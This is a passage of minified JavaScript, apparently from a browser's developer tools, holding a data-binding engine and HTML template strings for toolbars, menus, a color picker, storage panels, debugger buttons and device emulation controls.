t,n=[];n.push(e.rootElement);for(;n.length>0;){var o=n.pop(),r=o.control,i=o;r&&r!==e&&(i=r);if(i){var a;if(a=o.getAttributeNode(s.a.BINDING)){t=t||[];l.extractBindingCommandsForBinding(t,i,o,a.value,!1);o.removeAttributeNode(a)}if(a=o.getAttributeNode(s.a.CONTROL_BINDING)){t=t||[];l.extractBindingCommandsForBinding(t,i,o,a.value,!0);o.removeAttributeNode(a)}if(a=o.getAttributeNode(s.a.OPTIONS)){t=t||[];var c=r||o;l.extractBindingCommandsForOptions(t,c,o,a.value);o.removeAttributeNode(a)}}if(o.children&&(!o.hasAttribute(s.a.CONTROL)||o===e.rootElement))for(var u=o.children.length,d=0;d<u;d++)n.push(o.children[d])}return t}static bind(e){var t,n=l.getBindingCommands(e);if(n){t=[];for(var o=n.length,r=0;r<o;r++){var a=n[r];if(a.source){var s=new i.c(e,a.source.name,a.target,a.targetName,a.source.converter,a.source.mode,a.targetAccess);t.push(s)}else void 0!==a.value&&a.targetAccess.setValue(a.target,a.targetName,null,a.value)}}return t&&t.length>0?t:null}static getConverterInstance(e){for(var t=window,n=e.split("."),o=0;o<n.length;o++){t=t[n[o]];r.a.hasValue(t,"Couldn't find the converter instance with the given name '"+e+"'.")}r.a.hasValue(t.convertFrom||t.convertTo,"The converter instance with the given name '"+e+"' doesn't point to a valid converter instance.");return t}static parseSourceSyntax(e){r.a.isTrue(!!e,"Invalid binding syntax.");for(var t=e.split(";"),n={name:t[0].trim()},o=1;o<t.length;o++){var i=t[o].split("=",2);r.a.areEqual(i.length,2,"Invalid binding syntax, the keyvalue pair should have the syntax key=value.");switch(i[0].trim().toLowerCase()){case"mode":n.mode=i[1].trim().toLowerCase();break;case"converter":n.converter=l.getConverterInstance(i[1].trim())}}return n}}l.ATTRIBUTE_PREFIX="attr-";l.CLASS_PREFIX="class-";l.CONTROL_PREFIX="control.";l.EVENT_PREFIX="event-";l.MODEL_PREFIX="model.";l.STYLE_PREFIX="style.";var c=n(138);class u{}u.defaultButtonTemplate='<div class="BPT-button" tabindex="1"></div>';u.iconButton24x24='<div class="BPT-button iconButton24x24" tabindex="1">            <span class="buttonIcon"></span>        </div>';u.menuButton33x24='<div class="BPT-button menuButton33x24" tabindex="1">            <span class="buttonIcon"></span>        </div>';u.menuButton33x24x5='<div class="BPT-button menuButton33x24 imageStates5" tabindex="1">            <span class="buttonIcon"></span>        </div>';u.iconButton='<div class="BPT-button iconButton" tabindex="1">            <span class="buttonIcon"></span>        </div>';u.labeledIconButton='<div class="BPT-button labeledIconButton" tabindex="1">            <span class="buttonIcon"></span>            <span class="buttonText" data-controlbinding="innerText:content"></span>        </div>';u.defaultToolbarTemplate='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <span class="BPT-ToolTitle" data-controlbinding="innerText:title,                                            attr-aria-label:title"></span>                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>            </div>        </div>';u.toolbarTemplateWithSearchControl='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <span class="BPT-ToolTitle" data-controlbinding="innerText:title,                                            attr-aria-label:title"></span>                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>                <div data-name="_searchControl" data-control="Common.Controls.SearchControl"></div>            </div>        </div>';u.searchBoxTemplate='<div data-name="searchBoxBorder" id="searchBoxBorder" class="BPT-SearchBox-Border">            <input type="text" id="searchbox" class="BPT-SearchBox" tabindex="1" role="search" data-name="_textBoxRoot" data-controlbinding="attr-data-plugin-vs-tooltip:tooltip,                                         value:text; mode=twoway,                                         placeholder:placeholder" data-options="attr-aria-label:/Common/SearchBoxTooltip; converter=Common.CommonConverters.ResourceConverter,                                  attr-data-plugin-vs-tooltip:/Common/SearchBoxPlaceholder; converter=Common.CommonConverters.ResourceConverter" />            <div data-name="searchPreviousResult" id="searchPreviousResult" class="BPT-Search-Button" role="button" tabindex="0" data-options="attr-data-plugin-vs-tooltip:/Common/SearchPrevText; converter=Common.CommonConverters.ResourceConverter,                                attr-aria-label:/Common/SearchPrevText; converter=Common.CommonConverters.ResourceConverter">                <div class="BPT-Search-Previous"></div>            </div>            <div data-name="searchNextResult" id="searchNextResult" class="BPT-Search-Button" role="button" tabindex="0" data-options="attr-data-plugin-vs-tooltip:/Common/SearchNextText; converter=Common.CommonConverters.ResourceConverter,                                attr-aria-label:/Common/SearchNextText; converter=Common.CommonConverters.ResourceConverter">                <div class="BPT-Search-Next"></div>            </div>        </div>';u.toolbarTemplateWithSearchBox='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <span class="BPT-ToolTitle" data-controlbinding="innerText:title,                                            attr-aria-label:title"></span>                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>                <div id="searchBoxBorder" class="BPT-SearchBox-Border">                    <input type="text" id="searchbox" class="BPT-SearchBox" tabindex="1" />                    <div id="searchPreviousResult" class="BPT-Search-Button" role="button" tabindex="1">                        <div class="BPT-Search-Previous"></div>                    </div>                    <div id="searchNextResult" class="BPT-Search-Button" role="button" tabindex="1">                        <div class="BPT-Search-Next"></div>                    </div>                </div>            </div>        </div>';u.toolbarTemplateWithoutTitle='<div class="BPT-Toolbar" role="toolbar">            <div class="BPT-ToolbarContents">                <div data-name="_toolbarPanel" data-control="Common.TemplateControl" data-controlbinding="model:model,                                           templateId:panelTemplateId" data-options="className:buttons"></div>            </div>        </div>';u.menuControlTemplate='<div class="BPT-menuControl" role="menu">            <div data-control="Common.TemplateControl" data-controlbinding="model:model,                                       templateId:menuItemsTemplateId" data-options="className:BPT-menuContent"></div>        </div>';u.menuItemTemplate='<li class="menuItem" role="menuitem" tabindex="0" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip">            <div class="gutter"></div>            <span data-controlbinding="innerText:content,                                        attr-aria-label:content"></span>        </li>';u.menuItemCheckMarkTemplate='<li class="menuItem" role="menuitemcheckbox" tabindex="0" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip">            <img class="menuToggleItem gutter" data-options="src:plugin-menu-item-checkmark; converter=Common.CommonConverters.ThemedImageConverter" />            <span data-controlbinding="innerText:content,                                        attr-aria-label:content"></span>        </li>';u.menuItemCheckBoxTemplate='<li class="menuItem" role="menuitemcheckbox" tabindex="0" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip">            <input type="checkbox" tabindex="-1" data-name="BPT-menuItemCheckBox" data-controlbinding="checked:isChecked; mode=twoway" />            <span data-controlbinding="innerText:content,                                        attr-aria-label:content"></span>        </li>';u.menuItemComboBoxTemplate='<li class="menuItem comboBoxMenuItem" role="menuitem" tabindex="-1">            <div data-control="Common.Controls.ComboBox" data-name="BPT-menuItemComboBox" data-controlbinding="items:items,                                      selectedValue:selectedValue; mode=twoway,                                      tooltip:tooltip" data-options="tabIndex:0"></div>        </li>';u.menuItemTextBoxTemplate='<li class="menuItem textBoxMenuItem" role="menuitem" tabindex="-1">            <div data-control="Common.Controls.TextBox" data-name="BPT-menuItemTextBox" data-controlbinding="isEnabled:isEnabled,                                      placeholder:placeholder,                                      text:content; mode=twoway,                                      tooltip:tooltip" data-options="clearOnEscape:1,                               tabIndex:0,                               updateOnInput:1"></div>        </li>';u.defaultComboBoxTemplate='<select data-controlbinding="value:selectedValue; mode=twoway" data-options="tabIndex:0"></select>';u.defaultComboBoxItemTemplate='<option data-binding="attr-aria-label:label,                               attr-data-plugin-vs-tooltip:tooltip,                               title:tooltip,                               text:text,                               value:value"></option>';u.defaultTextBoxTemplate='<input type="text" class="BPT-TextBox" data-controlbinding="attr-data-plugin-vs-tooltip:tooltip,                                     value:text; mode=twoway,                                     placeholder:placeholder" />';u.tabHeaderTemplate='<li tabindex="-1" data-controlbinding="attr-aria-label:tooltip,                                  attr-data-plugin-vs-tooltip:tooltip,                                  class-active:active,                                  class-disabled:isEnabled; converter=Common.CommonConverters.InvertBool,                                  tabindex: isEnabled; converter=Common.CommonConverters.IsTabbableToTabIndexConverter,                                  textContent:title"></li>';u.tabItemTemplate='<div class="BPT-tabItem tabItemContent" data-controlbinding="class-active:active"></div>';u.tabControlTemplate='<div class="BPT-tabControl">            <div class="tabHeader">                <div data-name="beforeBarContainer" class="beforeBarContainer"></div>                <nav data-name="tabBarContainer" class="tabBarContainer" data-controlbinding="class-tabBarContainerLeftAlign:tabsLeftAligned">                    <ul data-name="tabBar" class="tabBar"></ul>                </nav>                <div data-name="afterBarContainer" class="afterBarContainer"></div>            </div>            <div data-name="tabContentPane" class="tabContentPane"></div>        </div>';u.sourceInfoTemplate='<div class="BPT-FileLink">            <a data-controlbinding="class-BPT-hidden:mappedSourceInfo; converter=Common.CommonConverters.InvertBool">                <span data-controlbinding="innerText:mappedSourceInfo.name"></span>                (<span data-controlbinding="innerText:mappedSourceInfo.source; converter=Common.CommonConverters.CreateShortenedUrlConverter"></span>:<span data-controlbinding="innerText:mappedSourceInfo.line; converter=Common.CommonConverters.IntToStringConverter"></span>)            </a>        </div>';u.sourceInfoSourceOnlyTemplate='<div class="BPT-FileLink">            <a data-controlbinding="class-BPT-hidden:mappedSourceInfo; converter=Common.CommonConverters.InvertBool">                <span data-controlbinding="innerText:mappedSourceInfo.source; converter=Common.CommonConverters.CreateShortenedUrlConverter"></span>:<span data-controlbinding="innerText:mappedSourceInfo.line; converter=Common.CommonConverters.IntToStringConverter"></span></a>        </div>';u.sourceInfoNameOnlyTemplate='<div class="BPT-FileLink">            <a data-controlbinding="class-BPT-hidden:mappedSourceInfo; converter=Common.CommonConverters.InvertBool">                <span data-controlbinding="innerText:mappedSourceInfo.name"></span>            </a>        </div>';u.sourceInfoTooltipTemplate='<div class="BPT-sourceInfoTooltip">            <div class="sourceInfoNameLabel" data-controlbinding="class-BPT-hidden:titleLabelResourceId; converter=Common.CommonConverters.InvertBool,                                                                   innerText:titleLabelResourceId; converter=Common.CommonConverters.ResourceConverter"></div>            <div class="sourceInfoName" data-controlbinding="class-BPT-hidden:title; converter=Common.CommonConverters.InvertBool,                                                              innerText:title"></div>            <div class="sourceInfoFileLabel" data-name="sourceInfoFileLabel"></div>            <div class="sourceInfoFile" data-binding="innerText:source"></div>            <div class="sourceInfoLineLabel" data-name="sourceInfoLineLabel"></div>            <div class="sourceInfoLine" data-binding="innerText:line; converter=Common.CommonConverters.IntToStringWithGroupSeperatorConverter"></div>            <div class="sourceInfoColumnLabel" data-name="sourceInfoColumnLabel"></div>            <div class="sourceInfoColumn" data-binding="innerText:column; converter=Common.CommonConverters.IntToStringWithGroupSeperatorConverter"></div>        </div>';u.virtualizingStackPanelTemplate='<div class="BPT-stackPanel">            <div data-name="contentSizer" class="BPT-contentSizer"></div>            <div data-name="content"></div>        </div>';u.stackPanelTemplate='<div class="BPT-stackPanel">            <div id="contentSizer" class="BPT-contentSizer"></div>            <div id="content"></div>        </div>';u.defaultTreeItemDataTemplate='<div class="BPT-treeItemDataTemplate">            <div data-name="expander"></div>        </div>';u.defaultColorPickerTemplate='<div class="colorPicker">            <div data-name="selectedColorPane" class="selectedColorPane">                <div data-name="selectedColorSquare" data-control="Common.Controls.Button" data-control-templateid="Common.selectedColorTemplate" data-controlbinding="content:color,                                           tooltip:color"></div>                <div data-name="selectedColorText" data-control="Common.Controls.TextBox" data-controlbinding="text:color" data-options="className:selectedColorValue,                                    readonly:1" tabindex="1"></div>            </div>            <div class="colorToolsPane">                <div data-name="slidersButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton24x24" data-controlbinding="isChecked:isSlidersShown; mode=twoway" data-options="className:slidersButton,                                    tooltip:/Common/SlidersButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>                <div data-name="paletteProgress" data-control="Common.TemplateControl" data-control-templateid="Common.paletteProgressTemplate" data-controlbinding="isVisible:isPaletteLoading"></div>                <div data-name="_colorPalette" data-control="Common.Controls.RibbonControl" data-control-templateid="Common.paletteItemsControlTemplate" data-controlbinding="items:paletteColors,                                           selectedItem:color; mode=twoway,                                           isEnabled:isPaletteLoading; converter=Common.CommonConverters.InvertBool" data-options="itemContainerControl:Common.Controls.Button(Common.paletteColorTemplate),                                    scrollIncrement:4; converter=Common.CommonConverters.StringToIntConverter,                                    tooltip:/Common/ColorPickerPaletteTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            </div>            <div class="slidersPane" data-name="slidersPane" data-control="Common.Controls.ColorPickerSlidersControl" data-control-templateid="Common.slidersPaneTemplate" data-controlbinding="isVisible:isSlidersShown,                                       color:color; mode=twoway"></div>        </div>';u.paletteItemsControlTemplate='<div class="colorPalette">            <div data-name="_backwardScrollButton" data-control="Common.Controls.Button" data-control-templateid="Common.arrowButton" data-options="className:arrowLeft,                                tooltip:/Common/RibbonControlPreviousButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="_panel" data-options="className:colorPalettePanel" tabindex="1"></div>            <div data-name="_forwardScrollButton" data-control="Common.Controls.Button" data-control-templateid="Common.arrowButton" data-options="className:arrowRight,                                tooltip:/Common/RibbonControlNextButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        </div>';u.slidersPaneTemplate='<div>            <label data-options="textContent:/Common/Hue; converter=Common.CommonConverters.ResourceConverter">Hue</label>            <div data-name="hueText" data-control="Common.Controls.TextBox" data-controlbinding="text:hue" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider hueSlider" type="range" min="0" max="359" step="1" data-controlbinding="value:hue; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Hue; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Hue; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />            <label data-options="textContent:/Common/Saturation; converter=Common.CommonConverters.ResourceConverter">Saturation</label>            <div data-name="saturationText" data-control="Common.Controls.TextBox" data-controlbinding="text:saturation" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider saturationSlider" type="range" min="0" max="100" step="1" data-controlbinding="value:saturation; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Saturation; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Saturation; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />            <label data-options="textContent:/Common/Lightness; converter=Common.CommonConverters.ResourceConverter">Lightness</label>            <div data-name="lightnessText" data-control="Common.Controls.TextBox" data-controlbinding="text:lightness" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider lightnessSlider" type="range" min="0" max="100" step="1" data-controlbinding="value:lightness; mode=twoway; converter=Common.CommonConverters.IntToStringConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Lightness; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Lightness; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />            <label data-options="textContent:/Common/Alpha; converter=Common.CommonConverters.ResourceConverter">Alpha</label>            <div data-name="alphaText" data-control="Common.Controls.TextBox" data-controlbinding="text:alpha" data-options="className:hslText,                                readonly:1" tabindex="-1"></div>            <input class="colorSlider alphaSlider" type="range" min="0" max="100" step="1" data-controlbinding="value:alpha; mode=twoway; converter=Common.ColorSlidersConverters.AlphaConverter" data-options="attr-data-plugin-vs-tooltip:/Common/Alpha; converter=Common.CommonConverters.ResourceConverter,                                  attr-aria-label:/Common/Alpha; converter=Common.CommonConverters.ResourceConverter" tabindex="1" />        </div>';u.selectedColorTemplate='<div class="BPT-button colorSquare">            <span class="buttonIcon" data-controlbinding="style.backgroundColor:content"></span>        </div>';u.paletteColorTemplate='<div class="BPT-button colorSquare" tabindex="-1" data-controlbinding="attr-data-plugin-vs-tooltip:model,                                   attr-aria-label:model">            <span class="buttonIcon" data-controlbinding="style.backgroundColor:model"></span>        </div>';u.arrowButton='<div class="arrowButton"></div>';u.paletteProgressTemplate='<progress class="colorPaletteProgress colorPalettePanel"></progress>';class d{}d.resourceToolbarButton='\n        <div class="resourceButtonContainer BPT-button" tabindex="1">\n            <span class="resourceButton buttonIcon"></span>\n        </div>\n    ';d.webStoragePanel='\n        <div>\n            <div\n                data-name="simulateCapButton"\n                data-control="Common.Controls.ToggleButton"\n                data-binding="isChecked:simulateCap; mode=twoway"\n                data-control-templateid="Storage.resourceToolbarButton"\n                data-options="\n                    className:simulateCapButton,\n                    tooltip:SimulateCapButtonTooltip;\n                    converter=Common.CommonConverters.ResourceConverter"\n            ></div>\n            <div\n                data-name="refreshStorageButton"\n                data-control="Common.Controls.Button"\n                data-binding="event-click:viewModel.refresh"\n                data-control-templateid="Storage.resourceToolbarButton"\n                data-options="\n                    className:refreshStorageButton,\n                    tooltip:ResourceGridRefresh;\n                    converter=Common.CommonConverters.ResourceConverter"\n            ></div>\n        </div>\n    ';d.indexedDBPanel='\n        <div>\n            <div\n                data-name="refreshStorageButton"\n                data-control="Common.Controls.Button"\n                data-binding="event-click:viewModel.refresh"\n                data-control-templateid="Storage.resourceToolbarButton"\n                data-options="\n                    className:refreshStorageButton,\n                    tooltip:ResourceGridRefresh;\n                    converter=Common.CommonConverters.ResourceConverter"\n            ></div>\n        </div>\n    ';d.cookiesPanel='\n        <div>\n            <div\n                data-name="refreshStorageButton"\n                data-control="Common.Controls.Button"\n                data-binding="event-click:viewModel.refresh"\n                data-control-templateid="Storage.resourceToolbarButton"\n                data-options="\n                    className:refreshStorageButton,\n                    tooltip:ResourceGridRefresh;\n                    converter=Common.CommonConverters.ResourceConverter"\n            ></div>\n            <div\n                data-name="clearAllButton"\n                data-control="Common.Controls.Button"\n                data-binding="event-click:viewModel.deleteAll"\n                data-control-templateid="Storage.resourceToolbarButton"\n                data-options="\n                    className:clearAllCookiesButton,\n                    tooltip:CookiesGridDeleteAll;\n                    converter=Common.CommonConverters.ResourceConverter"\n            ></div>\n            <div\n                data-name="clearAllSessionButton"\n                data-control="Common.Controls.Button"\n                data-binding="event-click:viewModel.deleteAllSession"\n                data-control-templateid="Storage.resourceToolbarButton"\n                data-options="\n                    className:clearAllSessionCookiesButton,\n                    tooltip:CookiesGridDeleteAllSession;\n                    converter=Common.CommonConverters.ResourceConverter"\n            ></div>        </div>\n    ';class h{}h.resourceToolbarButton='    <div class="resourceButtonContainer BPT-button" tabindex="1">            <span class="resourceButton buttonIcon"></span>    </div>    ';h.debuggerButtonsPanel='    <div>            <div data-name="continueButton" data-control="Common.Controls.Button" data-binding="isEnabled:isExecutionPaused" data-control-templateid="Common.iconButton24x24" data-options="className:continueButton,                                tooltip:ContinueButtonTooltip; converter=Common.CommonConverters.HtmlTooltipFromResourceConverter"></div>            <div data-name="breakButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:breakState; converter=Common.CommonConverters.NotDisabledToTrue,                                isChecked:breakState; converter=Common.CommonConverters.OnToTrue" data-control-templateid="Common.iconButton24x24" data-options="className:breakButton,                                tooltip:BreakButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="stepIntoButton" data-control="Common.Controls.Button" data-binding="isEnabled:isExecutionPaused" data-control-templateid="Common.iconButton24x24" data-options="className:stepIntoButton,                                tooltip:StepIntoButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="stepOverButton" data-control="Common.Controls.Button" data-binding="isEnabled:isExecutionPaused" data-control-templateid="Common.iconButton24x24" data-options="className:stepOverButton,                                tooltip:StepOverButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="stepOutButton" data-control="Common.Controls.Button" data-binding="isEnabled:isExecutionPaused" data-control-templateid="Common.iconButton24x24" data-options="className:stepOutButton,                                tooltip:StepOutButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="findInFilesButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:true, isChecked:!(debuggerManager.debuggerShell.getIsShowingFindInFiles); mode=twoway, isVisible:true, tooltip:debuggerManager.debuggerShell.getIsShowingFindInFiles; converter=F12.Tools.Debugger.CommonConverters.ToFindInFilesTooltip" data-control-templateid="Common.iconButton24x24" data-options="className:findInFilesButton"></div>            <div data-name="breakWorkerButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:isDebuggingDisabled; converter=Common.CommonConverters.InvertBool,                                isChecked:breakOnAnyNewWorkerStartingEnabled; mode=twoway" data-control-templateid="Common.iconButton24x24" data-options="className:breakWorkerButton,                                tooltip:BreakWorkerButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="breakOnExceptionButton" data-control="Common.Controls.DropDownButton" data-binding="className:exceptionFilter; converter=F12.Tools.Debugger.CommonConverters.ToExceptionClass,                                isEnabled:isDebuggingDisabled; converter=Common.CommonConverters.InvertBool" data-control-templateid="Common.menuButton33x24x5" data-options="tooltip:BreakOnExceptionButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="toggleDebuggingButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:allowDisconnectDebugging,                                isChecked:isDebuggingDisconnected; mode=twoway,                                tooltip:isDebuggingDisabled; converter=F12.Tools.Debugger.CommonConverters.ToDisconnectDebuggingTooltip" data-control-templateid="Common.iconButton24x24" data-options="className:disconnectButton"></div>            <div data-name="jmcButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:debuggerManager.jmcController.isJustMyCodeAvailable,                                isChecked:debuggerManager.jmcController.isJustMyCodeEnabled; mode=twoway" data-control-templateid="Common.iconButton24x24" data-options="className:jmcButton,                                tooltip:JustMyCodeDebugMyCodeTooltip; converter=Common.CommonConverters.ResourceConverter"></div>    </div>    ';h.debuggerDocumentPanel='    <div>            <div data-name="diffButton" data-control="Common.Controls.Button" data-binding="isVisible:isEditSourceSupported,                                isEnabled:isEditable,                                event-click:onDiffButtonClick" data-control-templateid="Debugger.resourceToolbarButton" data-options="className:diffButton,                                tooltip:DiffOffTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="saveButton" data-control="Common.Controls.Button" data-binding="isVisible:isEditSourceSupported,                                isEnabled:isEditable,                                event-click:editorWindow.save" data-control-templateid="Debugger.resourceToolbarButton" data-options="className:saveButton,                                tooltip:DebuggerSaveButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="prettyPrintButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:prettyPrintState; converter=Common.CommonConverters.NotDisabledToTrue,                                isChecked:prettyPrintState; converter=Common.CommonConverters.OnToTrue; mode=twoway,                                event-click:onPrettyPrintClickTelemetry" data-control-templateid="Debugger.resourceToolbarButton" data-options="className:prettyPrintButton,                                tooltip:PrettyPrintButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="wordWrapButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:editorWindow.wordWrapEnabled; converter=Common.CommonConverters.NotDisabledToTrue,                                isChecked:editorWindow.wordWrapEnabled; converter=Common.CommonConverters.OnToTrue; mode=twoway,                                event-click:onWordWrapClickTelemetry" data-control-templateid="Debugger.resourceToolbarButton" data-options="className:wordWrapButton,                                tooltip:WordWrapButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>            <div data-name="jmcDocumentButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:libraryState; converter=Common.CommonConverters.NotDisabledToTrue,                                isChecked:libraryState; converter=Common.CommonConverters.OnToTrue; mode=twoway,                                tooltip:libraryState; converter=F12.Tools.Debugger.CommonConverters.ToJMCDocumentToolTip,                                event-click:onJmcDocumentClickTelemetry" data-control-templateid="Debugger.resourceToolbarButton" data-options="className:jmcDocumentButton"></div>            <div data-name="sourceMapButton" data-control="Common.Controls.ToggleButton" data-binding="isEnabled:sourceMapState; converter=Common.CommonConverters.NotDisabledToTrue,                                isChecked:sourceMapState; converter=Common.CommonConverters.OnToTrue; mode=twoway,                                tooltip:sourceMapState; converter=F12.Tools.Debugger.CommonConverters.ToSourceMapTooltip,                                event-click:onSourceMapClickTelemetry" data-control-templateid="Debugger.resourceToolbarButton" data-options="className:sourceMapButton"></div>    </div>    ';h.exceptionMenuDropDown='    <ul>            <div data-name="breakOnNoneMenuItem" data-control="Common.Controls.MenuItem" data-binding="isChecked:exceptionFilter; converter=F12.Tools.Debugger.CommonConverters.ToExceptionFilterNone" data-control-templateid="Common.menuItemCheckMarkTemplate" data-options="content:BreakOnExceptionButtonNone; converter=Common.CommonConverters.ResourceConverter,                                groupName:ExceptionFilter"></div>            <div data-name="breakOnUnhandledExceptionsMenuItem" data-control="Common.Controls.MenuItem" data-binding="isChecked:exceptionFilter; converter=F12.Tools.Debugger.CommonConverters.ToExceptionFilterUnhandled" data-control-templateid="Common.menuItemCheckMarkTemplate" data-options="content:BreakOnExceptionButtonUnhandled; converter=Common.CommonConverters.ResourceConverter,                                groupName:ExceptionFilter"></div>            <div data-name="breakOnAllExceptionsMenuItem" data-control="Common.Controls.MenuItem" data-binding="isChecked:exceptionFilter; converter=F12.Tools.Debugger.CommonConverters.ToExceptionFilterHandled" data-control-templateid="Common.menuItemCheckMarkTemplate" data-options="content:BreakOnExceptionButtonAll; converter=Common.CommonConverters.ResourceConverter,                                groupName:ExceptionFilter"></div>    </ul>    ';class p{}p.emulationDeviceControls='<div>        <h1 id="deviceLabel" data-options="innerText:EmulationDeviceString; converter=Common.CommonConverters.ResourceConverter"></h1>        \x3c!-- Device --\x3e        <div class="labeledComboBox">            <label id="deviceStringLabel" data-options="innerText:EmulationDeviceString; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="deviceRoot" aria-labelledby="deviceStringLabel" data-name="deviceStringSelector" data-control="Common.Controls.ComboBox" data-binding="isEnabled:isAtBreakpoint; converter=Common.CommonConverters.InvertBool,                                    items:devices,                                    selectedValue:device;  mode=twoway"></div>        </div>    </div>';p.emulationBasicDisplayControls='<div>        \x3c!-- Orientation --\x3e        <div class="labeledComboBox">            <label id="orientationLabel" data-options="innerText:EmulationOrientation; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="orientationControlRoot" aria-labelledby="orientationLabel" data-name="orientationSelector" data-control="Common.Controls.ComboBox" data-binding="items:orientations,                                    selectedValue:orientation; converter=F12.Tools.Emulation.Converters.ToStringFromOrientation; mode=twoway"></div>        </div>        \x3c!-- Resolution --\x3e        <div class="labeledComboBox">            <label id="resolutionLabel" data-options="innerText:EmulationResolution; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="resolutionControlRoot" aria-labelledby="resolutionLabel" data-name="resolutionSelector" data-control="Common.Controls.ComboBox" data-binding="items:resolutions,                                    selectedValue:resolution; mode=twoway"></div>        </div>    </div>';p.emulationButtonPanel='<div>        <div data-name="persistSettingsButton" data-control="Common.Controls.ToggleButton" data-control-templateid="Common.iconButton" data-binding="isChecked:shouldPersistSettings; mode=twoway" data-options="className:persistSettingsButton,                                tooltip:EmulationPersistSettingsButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>        <div data-name="resetButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton" data-binding="isEnabled:resetShouldBeEnabled" data-options="className:resetButton,                                 tooltip:EmulationResetButtonTooltip; converter=Common.CommonConverters.ResourceConverter"></div>    </div>';p.emulationModeControls='<div>        <h1 id="modeLabel" data-options="innerText:EmulationModeSection; converter=Common.CommonConverters.ResourceConverter"></h1>        \x3c!-- Browser Profile --\x3e        <div class="labeledComboBox">            <label id="browserModeLabel" data-options="innerText:EmulationBrowserMode; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="browserModeListRoot" aria-labelledby="browserModeLabel" data-name="browserModeSelector" data-control="Common.Controls.ComboBox" data-binding="isEnabled:isAtBreakpoint; converter=Common.CommonConverters.InvertBool,                                    items:browserModes,                                    selectedValue:browserMode; converter=F12.Tools.Emulation.Converters.ToStringFromBrowserMode; mode=twoway"></div>        </div>        \x3c!-- User Agent String --\x3e        <div class="labeledComboBox">            <label id="uaStringLabel" data-options="innerText:EmulationUAString; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="uaStringListRoot" aria-labelledby="uaStringLabel" data-name="uaStringSelector" data-control="Common.Controls.ComboBox" data-binding="isEnabled:isAtBreakpoint; converter=Common.CommonConverters.InvertBool,                                    items:userAgentStrings,                                    selectedValue:userAgentString; mode=twoway"></div>        </div>        \x3c!-- Custom User Agent String --\x3e        <div id="customUaStringSection" class="customSection" data-binding="style.display:userAgentString; converter=F12.Tools.Emulation.Converters.ToUserAgentStringDisplaySetting">            <label id="enterCustomStringLabel" class="minorHeadingLabel" data-options="innerText:EmulationCustomUAStringInfo; converter=Common.CommonConverters.ResourceConverter"></label>            <div class="labeledComboBox">                <label id="customUaStringLabel" data-options="innerText:EmulationCustomUAStringLabel; converter=Common.CommonConverters.ResourceConverter"></label>                <div id="customUaStringControlRoot" aria-labelledby="uaStringLabel" data-name="customUaStringLabel" data-control="Common.Controls.TextBox" data-control-templateid="Emulation.emulationCustomUaStringTextBox" data-controlbinding="model:model" data-binding="isEnabled:isAtBreakpoint; converter=Common.CommonConverters.InvertBool,                                       text:customUserAgentString; mode=twoway" data-options="className:customUaStringTextBox"></div>                <div id="removeCustomUaStringControlRoot" tabindex="0" data-name="deleteUaStringButton" data-control="Common.Controls.Button" data-control-templateid="Common.iconButton24x24" data-binding="isEnabled:isAtBreakpoint; converter=Common.CommonConverters.InvertBool" data-options="className:deleteUaStringButton,                                        tooltip:EmulationDeleteButtonTooltip; 